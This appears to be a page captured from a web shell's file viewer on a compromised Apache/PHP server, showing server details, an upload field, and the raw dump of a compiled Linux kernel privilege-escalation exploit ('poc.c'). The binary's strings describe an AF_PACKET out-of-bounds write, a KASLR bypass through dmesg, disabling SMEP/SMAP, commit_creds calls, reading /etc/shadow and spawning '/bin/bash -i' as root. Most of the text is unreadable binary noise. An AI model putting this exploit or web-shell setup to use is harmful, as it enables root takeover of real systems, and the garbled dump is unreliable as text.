|
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17 System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64 User : nobody ( 99) PHP Version : 5.2.17 Disable Function : NONE Directory : /home/queenjbs/www/files/muti/shop/data/ |
Upload File : |
ELF > @ HO @ 8
@ @ @ @ X
X
= = 0 0 0 < L L P h < L L 8 8 8 0 0 h h h D D Std 8 8 8 0 0 Ptd p4 p4 p4 Qtd Rtd < L L 8 8 /lib64/ld-linux-x86-64.so.2 GNU GNU Z] A-U
5 GNU $ $ % em9 $ O t c
m y ? \ > k F 6 z U " P memmem __cxa_finalize write sendto __libc_start_main strtoul fprintf if_nametoindex socket memset vsnprintf getuid puts system close open getgid strlen sleep klogctl execve bind htons fork stderr getpagesize sched_setaffinity perror exit unshare __stack_chk_fail mmap setsockopt libc.so.6 GLIBC_2.3.4 GLIBC_2.4 GLIBC_2.2.5 GLIBC_2.34 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable ti " ii
. ui 8 D L L P P O O O O O $ P % N N N N O O O O
O (O 0O
8O @O HO PO XO `O hO pO xO O O O O O O O O O ! O " O # HH? HtH 5> %> h h h h h h h h q h a h Q h
A h 1 h ! h
h h h h h h h h h h q h a h Q h A h 1 h ! h h %= D %< D %< D %< D %< D %< D %}< D %u< D %m< D %e< D %]< D %U< D %M< D %E< D %=< D %5< D %-< D %%< D % < D %< D %
< D %< D %; D %; D %; D %; D %; D %; D %; D %; D %; D %; D 1I^HHPTE11H=X ; f. H=; H; H9tHv; Ht H=; H5; H)HH?HHHtHE; Htf D =]; u+UH="; Ht H=&; 9d5; ] w UHH`}uUMDEDMdH%( HE1E HUȋEA HѺ
Ẽ} yH H8 ^HEк HXEEЋEE؋EEԋEE uE܋EEEEE HUЋEA HѺ `Ẽ} yH( H HEdH+%( ti UHHP}̉uȉUĉMDEdH%( HE1 r¾ E} yH H& LDE}MċUȋűEEAUHE H&fE fEHx HcEfE E E HEHEغ HΉyE܃} yH9 H EHUdH+%( t@ UHH0}HuЉUdH%( HE1HE HcH HEEHEHEHcHuЋEA Iȹ 4HyH H HEdH+%( t UHH H}u E}uHQ Hp UHMEHΉ UHH Y¾ E}uH H
3E UHH}uUEAA UHH0}dH%( HE1HMEܺ HΉ2HEdH+%( t[ UHH }E E 9BSEE+EEE+E-0?EEAd UHHH}uUHEHB UHH0 HHdH%( HE1x ?Dž ) S ~H HHHHHHHPHHHP H@( HHN H ;HEdH+%( t UHH HXdH%( HE1 <dDž` ! J`Hc҉p`` ~H HHH@HhHhHXHHHF HDž` `Hp?`` ~ڐHEdH+%( t UHH }E kEE;E|ꐐ UHH}EAd ¾ UHSHH3 H\
HH3 H`
HӐH] UHSHHdH%( HE1
E}uH H ËEXÉEEHA A" Hƿ HEUHEHƿ _E}uH Hw H HEHEH&HEHcHUHEHHEH} u,H2 HUH
HHǸ 6E EEHcHEH <
uHe HEHEHHEHcHUHEHeHEH} u,H2 HUH
HHǸ HEHHEHMHEк HHjHEHe Hm HEHUdH+%( tH] UHH0dH%( HE1H HEHEHEH HEHE HMHEغ HHOHEdH+%( t UHHE}uH0 H } u
M UHH H HǸ =E}u E UHH H tH HuH Hd "] UHH HHH`HhLpLxt )E)M)U)])e)m)u)}dH%( HH1Dž( Dž,0 HEH0HPH8H(HH@ Hƅ? H@H H HǸ $$u T HcH@$HΉo HcH9t$ $ HHdH+%( tD UHH dH%( HE1/`d tH H 7 @tH H H HH HǸ tH H `H HH HǸ tH Hf dH HH HǸ ^tH H FHpHƸ HHHHDžh Hh wOHhHH HpHH2Hh? HHH HpHH HHpH¾ tHA Hf H@ H]tHB H: `HEdH+%( t UHH+ H H HiH2 HZ H), H", HH6 HǸ H, H\
HH0 HǸ H+ H`
HH* HǸ H+ HB HH$ HǸ oH. H J rH HH& H~HW+ HB HH5 HUHUHHD HǸ H7HHD H c HH [-] setsockopt(PACKET_VERSION) [-] setsockopt(PACKET_RX_RING) [-] socket(AF_PACKET) lo [-] bind(AF_PACKET) [-] sendto(SOCK_RAW) [-] socket(SOCK_RAW) [-] socket(SOCK_DGRAM) [-] klogctl(SYSLOG_ACTION_SIZE_BUFFER) [-] klogctl(SYSLOG_ACTION_READ_ALL) Freeing SMP [-] substring '%s' not found in dmesg
ffff /bin/bash -i [-] fork() /etc/shadow [.] checking if we got root [-] something went wrong =( [+] got r00t ^_^ [-] unshare(CLONE_NEWUSER) deny /proc/self/setgroups [-] write_file(/proc/self/set_groups) 0 %d 1
/proc/self/uid_map [-] write_file(/proc/self/uid_map) /proc/self/gid_map [-] write_file(/proc/self/gid_map) [-] sched_setaffinity() /sbin/ifconfig lo up [-] system(/sbin/ifconfig lo up) [.] starting [.] namespace sandbox set up [.] KASLR bypass enabled, getting kernel addr [.] done, kernel text: %lx
[.] commit_creds: %lx
[.] prepare_kernel_cred: %lx
[.] native_write_cr4: %lx
[.] padding heap [.] done, heap is padded [.] SMEP & SMAP bypass enabled, turning them off [.] done, SMEP & SMAP should be off now [.] executing get root payload %p
[.] done, should be root now ; 8 P h B |( H +h R \ d ( L l h ' zR x & D $ 4 FJ w ?:*3$" \ p t h ) EC
)) EC
2 EC
` EC
W Q EC
H , 2: EC
q L LK EC
B l wd EC
[ ' EC
^
EC
EC
2 EC
i 1 EC
h , = EC
Eo L EC
E p p EC
g F EC
} :F EC
} `T EC
K v EC
m I EC
@ 0 EC
0% L L o h
N p
o o H o o o L 0 @ P ` p 0 @ P ` p P GCC: (Ubuntu 11.3.0-1ubuntu1~22.04) 11.3.0 P 3 I (P U L | L 8 L p4 N
) ) P : K a x F a Q P 0% - ? v J ] 7 d g z 7 =
T P ' 6 Q d P q 0 : 2 0P & R P t # ` & p 1 B ' L _ s N! I > F P P K ( " C T P g 1 u Scrt1.o __abi_tag crtstuff.c deregister_tm_clones __do_global_dtors_aux completed.0 __do_global_dtors_aux_fini_array_entry frame_dummy __frame_dummy_init_array_entry poc.c __FRAME_END__ _DYNAMIC __GNU_EH_FRAME_HDR _GLOBAL_OFFSET_TABLE_ __libc_start_main@GLIBC_2.34 packet_socket_setup _ITM_deregisterTMCloneTable puts@GLIBC_2.2.5 vsnprintf@GLIBC_2.2.5 setsockopt@GLIBC_2.2.5 fork_shell unshare@GLIBC_2.4 packet_sock_kmalloc write@GLIBC_2.2.5 _edata _fini strlen@GLIBC_2.2.5 __stack_chk_fail@GLIBC_2.4 getuid@GLIBC_2.2.5 mmap@GLIBC_2.2.5 system@GLIBC_2.2.5 htons@GLIBC_2.2.5 write_file memset@GLIBC_2.2.5 oob_setup sendto@GLIBC_2.2.5 get_root_payload close@GLIBC_2.2.5 sched_setaffinity@GLIBC_2.3.4 oob_timer_execute execve@GLIBC_2.2.5 packet_socket_rx_ring_init check_root __data_start fprintf@GLIBC_2.2.5 __gmon_start__ if_nametoindex@GLIBC_2.2.5 memmem@GLIBC_2.2.5 __dso_handle _IO_stdin_used packet_sock_timer_schedule getgid@GLIBC_2.2.5 kmalloc_pad klogctl@GLIBC_2.2.5 _end packet_socket_send __bss_start get_kernel_addr main loopback_send bind@GLIBC_2.2.5 exec_shell open@GLIBC_2.2.5 oob_write perror@GLIBC_2.2.5 strtoul@GLIBC_2.2.5 setup_sandbox is_root oob_id_match_execute getpagesize@GLIBC_2.2.5 exit@GLIBC_2.2.5 __TMC_END__ _ITM_registerTMCloneTable KERNEL_BASE packet_sock_id_match_trigger sleep@GLIBC_2.2.5 __cxa_finalize@GLIBC_2.2.5 fork@GLIBC_2.2.5 stderr@GLIBC_2.2.5 pagealloc_pad socket@GLIBC_2.2.5 .symtab .strtab .shstrtab .interp .note.gnu.property .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt.got .plt.sec .text .fini .rodata .eh_frame_hdr .eh_frame .init_array .fini_array .dynamic .data .bss .comment # 8 8 0 6 h h $ I W o ( a i h h q o L ~ o H H P B p
p
0 0
0% 0%
0 0 p p4 p4 P5 P5 L L < L < L < N > 8 P @ P @ 0 @ + H@ X H (N